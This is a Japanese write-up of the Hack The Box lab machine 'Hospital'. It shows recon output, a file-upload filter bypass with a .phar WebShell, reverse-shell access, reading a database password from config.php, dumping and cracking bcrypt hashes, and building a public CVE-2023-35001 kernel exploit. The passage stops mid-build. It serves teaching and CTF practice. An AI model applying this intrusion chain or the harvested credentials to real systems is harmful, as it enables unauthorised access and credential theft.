【Hack The Box】Hospital 【WriteUp】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___Hospital___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# 初期探索
## ポートスキャン
```bash
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.129.14.55 --top
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.14.55:22
Open 10.129.14.55:53
Open 10.129.14.55:88
Open 10.129.14.55:135
Open 10.129.14.55:139
Open 10.129.14.55:389
Open 10.129.14.55:443
Open 10.129.14.55:445
Open 10.129.14.55:464
Open 10.129.14.55:593
Open 10.129.14.55:636
Open 10.129.14.55:1801
Open 10.129.14.55:2107
Open 10.129.14.55:2105
Open 10.129.14.55:2103
Open 10.129.14.55:2179
Open 10.129.14.55:3269
Open 10.129.14.55:3268
Open 10.129.14.55:3389
Open 10.129.14.55:5985
Open 10.129.14.55:6404
Open 10.129.14.55:6406
Open 10.129.14.55:6407
Open 10.129.14.55:6409
Open 10.129.14.55:6612
Open 10.129.14.55:6634
Open 10.129.14.55:8080
Open 10.129.14.55:9389
Open 10.129.14.55:31190
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-20 09:55 EST
Initiating Ping Scan at 09:55
Scanning 10.129.14.55 [4 ports]
Completed Ping Scan at 09:55, 0.35s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 09:55
Scanning hospital.htb (10.129.14.55) [29 ports]
Discovered open port 636/tcp on 10.129.14.55
Discovered open port 443/tcp on 10.129.14.55
Discovered open port 53/tcp on 10.129.14.55
Discovered open port 3389/tcp on 10.129.14.55
Discovered open port 135/tcp on 10.129.14.55
Discovered open port 6612/tcp on 10.129.14.55
Discovered open port 139/tcp on 10.129.14.55
Discovered open port 445/tcp on 10.129.14.55
Discovered open port 8080/tcp on 10.129.14.55
Discovered open port 22/tcp on 10.129.14.55
Discovered open port 464/tcp on 10.129.14.55
Discovered open port 88/tcp on 10.129.14.55
Discovered open port 6406/tcp on 10.129.14.55
Discovered open port 6409/tcp on 10.129.14.55
Discovered open port 6634/tcp on 10.129.14.55
Discovered open port 389/tcp on 10.129.14.55
Discovered open port 3269/tcp on 10.129.14.55
Discovered open port 2103/tcp on 10.129.14.55
Discovered open port 5985/tcp on 10.129.14.55
Discovered open port 9389/tcp on 10.129.14.55
Discovered open port 2107/tcp on 10.129.14.55
Discovered open port 2179/tcp on 10.129.14.55
Discovered open port 31190/tcp on 10.129.14.55
Discovered open port 2105/tcp on 10.129.14.55
Discovered open port 6404/tcp on 10.129.14.55
Discovered open port 6407/tcp on 10.129.14.55
Discovered open port 1801/tcp on 10.129.14.55
Discovered open port 3268/tcp on 10.129.14.55
Discovered open port 593/tcp on 10.129.14.55
Completed SYN Stealth Scan at 09:55, 0.60s elapsed (29 total ports)
Nmap scan report for hospital.htb (10.129.14.55)
Host is up, received echo-reply ttl 127 (0.29s latency).
Scanned at 2023-11-20 09:55:35 EST for 0s

PORT      STATE SERVICE          REASON
22/tcp    open  ssh              syn-ack ttl 62
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
443/tcp   open  https            syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
1801/tcp  open  msmq             syn-ack ttl 127
2103/tcp  open  zephyr-clt       syn-ack ttl 127
2105/tcp  open  eklogin          syn-ack ttl 127
2107/tcp  open  msmq-mgmt        syn-ack ttl 127
2179/tcp  open  vmrdp            syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
6404/tcp  open  boe-filesvr      syn-ack ttl 127
6406/tcp  open  boe-processsvr   syn-ack ttl 127
6407/tcp  open  boe-resssvr1     syn-ack ttl 127
6409/tcp  open  boe-resssvr3     syn-ack ttl 127
6612/tcp  open  unknown          syn-ack ttl 127
6634/tcp  open  mpls-pm          syn-ack ttl 127
8080/tcp  open  http-proxy       syn-ack ttl 62
9389/tcp  open  adws             syn-ack ttl 127
31190/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.06 seconds
           Raw packets sent: 33 (1.428KB) | Rcvd: 32 (1.776KB)
```
WindowsマシンのPortが空いてますね。
## ドメイン情報収集
ldapのスクリプトも回してさっとAD環境の情報を取得する。
```bash
┌──(root㉿kali)-[~/work]
└─# nmap -p 389 -n -Pn 10.129.14.55 --script ldap-rootdse
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-20 06:49 EST
Nmap scan report for 10.129.14.55
Host is up (0.28s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=hospital,DC=htb
|       ldapServiceName: hospital.htb:dc$@HOSPITAL.HTB
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=hospital,DC=htb
|       serverName: CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=hospital,DC=htb
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=hospital,DC=htb
|       namingContexts: DC=hospital,DC=htb
|       namingContexts: CN=Configuration,DC=hospital,DC=htb
|       namingContexts: CN=Schema,CN=Configuration,DC=hospital,DC=htb
|       namingContexts: DC=DomainDnsZones,DC=hospital,DC=htb
|       namingContexts: DC=ForestDnsZones,DC=hospital,DC=htb
|       isSynchronized: TRUE
|       highestCommittedUSN: 463063
|       dsServiceName: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=hospital,DC=htb
|       dnsHostName: DC.hospital.htb
|       defaultNamingContext: DC=hospital,DC=htb
|       currentTime: 20231120185040.0Z
|_      configurationNamingContext: CN=Configuration,DC=hospital,DC=htb
Service Info: Host: DC; OS: Windows

Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds
```
`hospital.htb`のドメイン情報を掴むことが出来た。この情報を`/etc/hosts`に以下のように登録しておく。
```bash
10.129.14.55    hospital.htb
```
`enum4linux`も回しておく
```bash
┌──(root㉿kali)-[~/work]
└─# enum4linux 10.129.14.55
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Nov 20 06:47:06 2023

 =========================================( Target Information )=========================================

Target ........... 10.129.14.55
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ============================( Enumerating Workgroup/Domain on 10.129.14.55 )============================


[E] Can't find workgroup/domain



 ================================( Nbtstat Information for 10.129.14.55 )================================

Looking up status of 10.129.14.55
No reply from 10.129.14.55

 ===================================( Session Check on 10.129.14.55 )===================================


[E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests.
```
`crackmapexec`も回しておく。
```bash
┌──(root㉿kali)-[~/work]
└─# crackmapexec smb 10.129.14.55 --pass-pol -u "guest" -p ""
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing SSH protocol database
[*] Initializing MSSQL protocol database
[*] Initializing WINRM protocol database
[*] Initializing SMB protocol database
[*] Initializing LDAP protocol database
[*] Initializing RDP protocol database
[*] Initializing FTP protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB         10.129.14.55    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:hospital.htb) (signing:True) (SMBv1:False)
SMB         10.129.14.55    445    DC               [-] hospital.htb\guest: STATUS_ACCOUNT_DISABLED 
```
ドメイン情報以外は特段いい情報がなかった。

## Web探索
### ブラウジング
Port80があいていたので、ブラウザでアクセスしてみる。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f5f9c033-6558-4184-7985-0921d40f3624.png)
ログインできなかった。
`8080`のPortも空いていたのでみる。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/70c4a84d-b1fa-46b6-37bb-fa3d8f1255ea.png)
適当にUserを作成する。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/190d22f9-a068-77f1-3b0f-8eebbf82f206.png)
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/5e94d376-a3d2-25cc-4a27-ec5026b4118f.png)
おおおお！何かUpload出来そうな機能を見つける。
大体これ悪用するやつでしょ。PHP使われてるし、WebShellを投入する流れかな？
適当にphpのWebShellを叩き込む。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4268884b-f0da-ff0c-6e86-f94d26a12f5e.png)
ダメと言われました。
### ディレクトリ探索
うーん、一応他に探索する対象があるか列挙を試しておく。
多分Uploadが脆弱だとおもうのですが。
```bash
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://hospital.htb:8080/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/work/reports/http_hospital.htb_8080/__23-11-20_07-17-22.txt

Target: http://hospital.htb:8080/

[07:17:22] Starting: 
[07:17:30] 301 -  316B  - /js  ->  http://hospital.htb:8080/js/
[07:17:34] 403 -  279B  - /.ht_wsr.txt
[07:17:35] 403 -  279B  - /.htaccess.bak1
[07:17:35] 403 -  279B  - /.htaccess.orig
[07:17:35] 403 -  279B  - /.htaccess.sample
[07:17:35] 403 -  279B  - /.htaccess.save
[07:17:35] 403 -  279B  - /.htaccess_extra
[07:17:35] 403 -  279B  - /.htaccess_orig
[07:17:35] 403 -  279B  - /.htaccess_sc
[07:17:35] 403 -  279B  - /.htaccessBAK
[07:17:35] 403 -  279B  - /.htaccessOLD
[07:17:35] 403 -  279B  - /.htaccessOLD2
[07:17:35] 403 -  279B  - /.html
[07:17:35] 403 -  279B  - /.htm
[07:17:35] 403 -  279B  - /.htpasswd_test
[07:17:35] 403 -  279B  - /.htpasswds
[07:17:35] 403 -  279B  - /.httr-oauth
[07:17:38] 403 -  279B  - /.php
[07:18:27] 200 -    0B  - /config.php
[07:18:31] 301 -  317B  - /css  ->  http://hospital.htb:8080/css/
[07:18:41] 301 -  319B  - /fonts  ->  http://hospital.htb:8080/fonts/
[07:18:47] 403 -  279B  - /images/
[07:18:47] 301 -  320B  - /images  ->  http://hospital.htb:8080/images/
[07:18:51] 403 -  279B  - /js/
[07:18:55] 200 -    2KB - /login.php
[07:19:17] 200 -    2KB - /register.php
[07:19:21] 403 -  279B  - /server-status
[07:19:21] 403 -  279B  - /server-status/
[07:19:35] 200 -    0B  - /upload.php
[07:19:35] 301 -  321B  - /uploads  ->  http://hospital.htb:8080/uploads/
[07:19:35] 403 -  279B  - /uploads/
[07:19:37] 403 -  279B  - /vendor/

Task Completed
```
特段見当たらない。`uploads`階層があるので、ファイルアップロードしたファイルを起動できそうではある。

# イニシャルアクセス
## WebShell
とりあえず拡張子のバイパスで通るかどうかを試してみる。以下のTrickを試してみてほしい。

https://book.hacktricks.xyz/pentesting-web/file-upload

試しているうちに`phar`で通ることがわかる。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f7d4f852-acdc-3d9a-ce39-77086a7f322e.png)
ただ色々とWebShellを試してみてもうまくコマンドを打ち込めない。
色々なWebShellを公開しているリポジトリを渡り歩いていると、以下のリポジトリに到達する。
これ凄い。。。

https://github.com/flozz/p0wny-shell

このWebShellをアップロードしてみる。そして`uploads`階層へアクセスする。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/e60e8c2a-7006-75cc-88b2-4a34dee01c2b.png)
通りました。コマンドが打てそうですね。
そこでリバースシェルを叩き込む。
![9-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/e42ffb63-7fe3-ac2e-aeb6-6cdf130636af.png)
`python3`だったり`nc mkfifo`のリバースシェルでシェルは奪取できます。
これで足場ゲットです。

## interactive shell
とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。

Ctrl+Zで接続をバックグラウンドにし、以下のコマンドを実行する。
```bash
┌──(root💀kali)-[~]
└─# stty raw -echo; fg   
[1]  + continued  nc -lnvp 4444
                    export TERM=xterm-256col
www-data@webserver: export SHELL=bash
```

# クレデンシャルアクセス - 兎の穴
## linpeas
何故かWindowsマシンで回すことになりました。

https://github.com/carlospolop/PEASS-ng/releases

回します。
```bash
www-data@webserver:/tmp$ ./linpeas.sh
./linpeas.sh


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |
    |---------------------------------------------------------------------------------|
    |         Get the latest version    :     https://github.com/sponsors/carlospolop |
    |         Follow on Twitter         :     @hacktricks_live                        |
    |         Respect on HTB            :     SirBroccoli                             |
    |---------------------------------------------------------------------------------|
    |                                 Thank you!                                      |
    \---------------------------------------------------------------------------------/
          linpeas-ng by carlospolop

ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.

Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
 LEGEND:
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...

 ...省略

 ╔══════════╣ Web files?(output limit)
/var/www/:
total 24K
drwxr-xr-x  6 www-data www-data 4.0K Nov 20 20:25 .
drwxr-xr-x 14 root     root     4.0K Sep 12 17:34 ..
lrwxrwxrwx  1 root     root        9 Oct 26 18:14 .bash_histor -> /dev/null
drwx------  3 www-data www-data 4.0K Nov 20 20:25 .gnupg
drwxr-xr-x  3 www-data www-data 4.0K Sep 15 17:00 .local
drwxr-xr-x  8 www-data www-data 4.0K Oct 24 21:51 html
drwx------  3 www-data www-data 4.0K Nov 20 20:24 snap


╔══════════╣ All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)
-rw-r--r-- 1 root root 220 Jan  7  2023 /etc/skel/.bash_logout
-rw------- 1 root root 0 Apr 15  2023 /etc/.pwd.lock
-rw-r--r-- 1 root root 673 Apr 15  2023 /etc/.resolv.conf.systemd-resolved.bak
-rw------- 1 root root 0 Nov 20 17:06 /run/snapd/lock/.lock
-rw-r--r-- 1 landscape landscape 0 Apr 15  2023 /var/lib/landscape/.cleanup.user
-rw-r--r-- 1 www-data www-data 38 Sep 15 16:33 /var/www/html/.htaccess
-rw-r--r-- 1 root root 30 Mar 29  2023 /usr/share/go-1.20/src/cmd/go/internal/imports/testdata/android/.h.go
-rw-r--r-- 1 root root 30 Mar 29  2023 /usr/share/go-1.20/src/cmd/go/internal/imports/testdata/illumos/.h.go
-rw------- 1 root root 0 Aug 31 07:35 /snap/core/16091/etc/.pwd.lock
-rw-r--r-- 1 root root 220 Aug 31  2015 /snap/core/16091/etc/skel/.bash_logout
-rw------- 1 root root 0 Aug  4 13:48 /snap/core/15925/etc/.pwd.lock
-rw-r--r-- 1 root root 220 Aug 31  2015 /snap/core/15925/etc/skel/.bash_logout
-rw------- 1 root root 0 Aug  1 04:53 /snap/core22/864/etc/.pwd.lock
-rw-r--r-- 1 root root 220 Jan  6  2022 /snap/core22/864/etc/skel/.bash_logout
-rw------- 1 root root 0 Mar 25  2023 /snap/core22/607/etc/.pwd.lock
-rw-r--r-- 1 root root 220 Jan  6  2022 /snap/core22/607/etc/skel/.bash_logout

╔══════════╣ Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)
-rwxr-xr-x 1 www-data www-data 847815 Nov 19 04:25 /tmp/linpeas.sh
-rw-r--r-- 1 root root 0 Nov 13 20:38 /var/backups/dpkg.arch.0
-rw-r--r-- 1 root root 32 Oct 22 00:12 /var/backups/dpkg.arch.1.gz
-rw-r--r-- 1 root root 32 Sep 21 13:18 /var/backups/dpkg.arch.3.gz
-rw-r--r-- 1 root root 32 Sep 20 19:31 /var/backups/dpkg.arch.4.gz
-rw-r--r-- 1 root root 61440 Nov 13 20:38 /var/backups/alternatives.tar.0
-rw-r--r-- 1 root root 32 Sep 15 15:44 /var/backups/dpkg.arch.5.gz
-rw-r--r-- 1 root root 2696 Sep 20 19:31 /var/backups/alternatives.tar.1.gz
-rw-r--r-- 1 root root 2688 Sep 15 15:44 /var/backups/alternatives.tar.2.gz
-rw-r--r-- 1 root root 32 Sep 22 13:42 /var/backups/dpkg.arch.2.gz

╔══════════╣ Searching passwords in config PHP files
/var/www/html/config.php:define('DB_PASSWORD', 'my$qls3rv1c3!');
/var/www/html/config.php:define('DB_USERNAME', 'root');

╔══════════╣ Searching *password* or *credential* files in home (limit 70)
/etc/pam.d/common-password

╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs

╔══════════╣ Searching passwords inside logs (limit 70)


...省略
```
何かPasswordが書いてあります。
見に行きます。
```php
www-data@webserver:/var/www/html/uploads$ cat /var/www/html/config.php 
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'my$qls3rv1c3!');
define('DB_NAME', 'hospital');
 
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
 
// Check connection
if($link === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>
```
書いてますね。これでDBを確認しに行きます。
# MariaDB
DBから資格情報を抜き出します。
```bash
www-data@webserver:/var/www/html/uploads$ mysql -u root -h localhost -p 
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 27
Server version: 10.11.2-MariaDB-1 Ubuntu 23.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

No entry for terminal type "xterm-256col";
using dumb terminal settings.
No entry for terminal type "xterm-256col";
using dumb terminal settings.
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| hospital           |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.012 sec)

MariaDB [(none)]> use hospital   
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [hospital]> show tables;
+--------------------+
| Tables_in_hospital |
+--------------------+
| users              |
+--------------------+
1 row in set (0.001 sec)

MariaDB [hospital]> select * form users;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'form users' at line 1
MariaDB [hospital]> select * from users;
+----+----------+--------------------------------------------------------------+---------------------+
| id | username | password                                                     | created_at          |
+----+----------+--------------------------------------------------------------+---------------------+
|  1 | admin    | $2y$10$caGIEbf9DBF7ddlByqCkrexkt0cPseJJ5FiVO1cnhG.3NLrxcjMh2 | 2023-09-21 14:46:04 |
|  2 | patient  | $2y$10$a.lNstD7JdiNYxEepKf1/OZ5EM5wngYrf.m5RxXCgSud7MVU6/tgO | 2023-09-21 15:35:11 |
|  3 | test     | $2y$10$mmo/KGFvkyzEy9xvZmp5B.5eEOCQKerSYju8D0N18vKTIdSfnXt1e | 2023-11-20 19:10:58 |
+----+----------+--------------------------------------------------------------+---------------------+
3 rows in set (0.001 sec)

MariaDB [hospital]> 
```
## John The Ripper
パスワード復元します。
```bash
┌──(root㉿kali)-[~/work]
└─# john --wordlist=rockyou.txt hash 
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456           (admin)     
1g 0:00:04:00 0.23% (ETA: 2023-11-21 13:24) 0.004156g/s 167.1p/s 167.3c/s 167.3C/s feebee..destiny13
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
```
なんか出てきた！！！
ただこれはウサギの穴でした。この資格情報を悪用出来ませんでした。


# 権限昇格 - Linux
## CVE-2023-35001
Linuxのバージョンを確認します。
```bash
www-data@webserver:/tmp$ uname -a
Linux webserver 5.19.0-35-generic #36-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 3 18:36:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
www-data@webserver:/tmp$ 
```
上記バージョンで脆弱性を探ると、以下のリポジトリがヒットしました。

https://github.com/synacktiv/CVE-2023-35001

これを実行します。
```bash
┌──(root㉿kali)-[~/work]
└─# git clone https://github.com/synacktiv/CVE-2023-35001            
Cloning into 'CVE-2023-35001'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 9 (delta 0), reused 9 (delta 0), pack-reused 0
Receiving objects: 100% (9/9), 13.02 KiB | 4.34 MiB/s, done.
```
クローンしたら、ビルドします。
```bash
┌──(root㉿kali)-[~/work/CVE-2023-35001]
└─# make                                    
go build
go: downloading github.com/google/nftables v0.0.0-20220611213346-a346d51f53b3
go: downloading github.com/mdlayher/netlink v1.4.2
go: downloading github.com/vishvananda/netns v0.0.0-20180720170159-13995c7128cc
go: downloading golang.org/x/sys v0.0.0-20211205182925-97ca703d548d
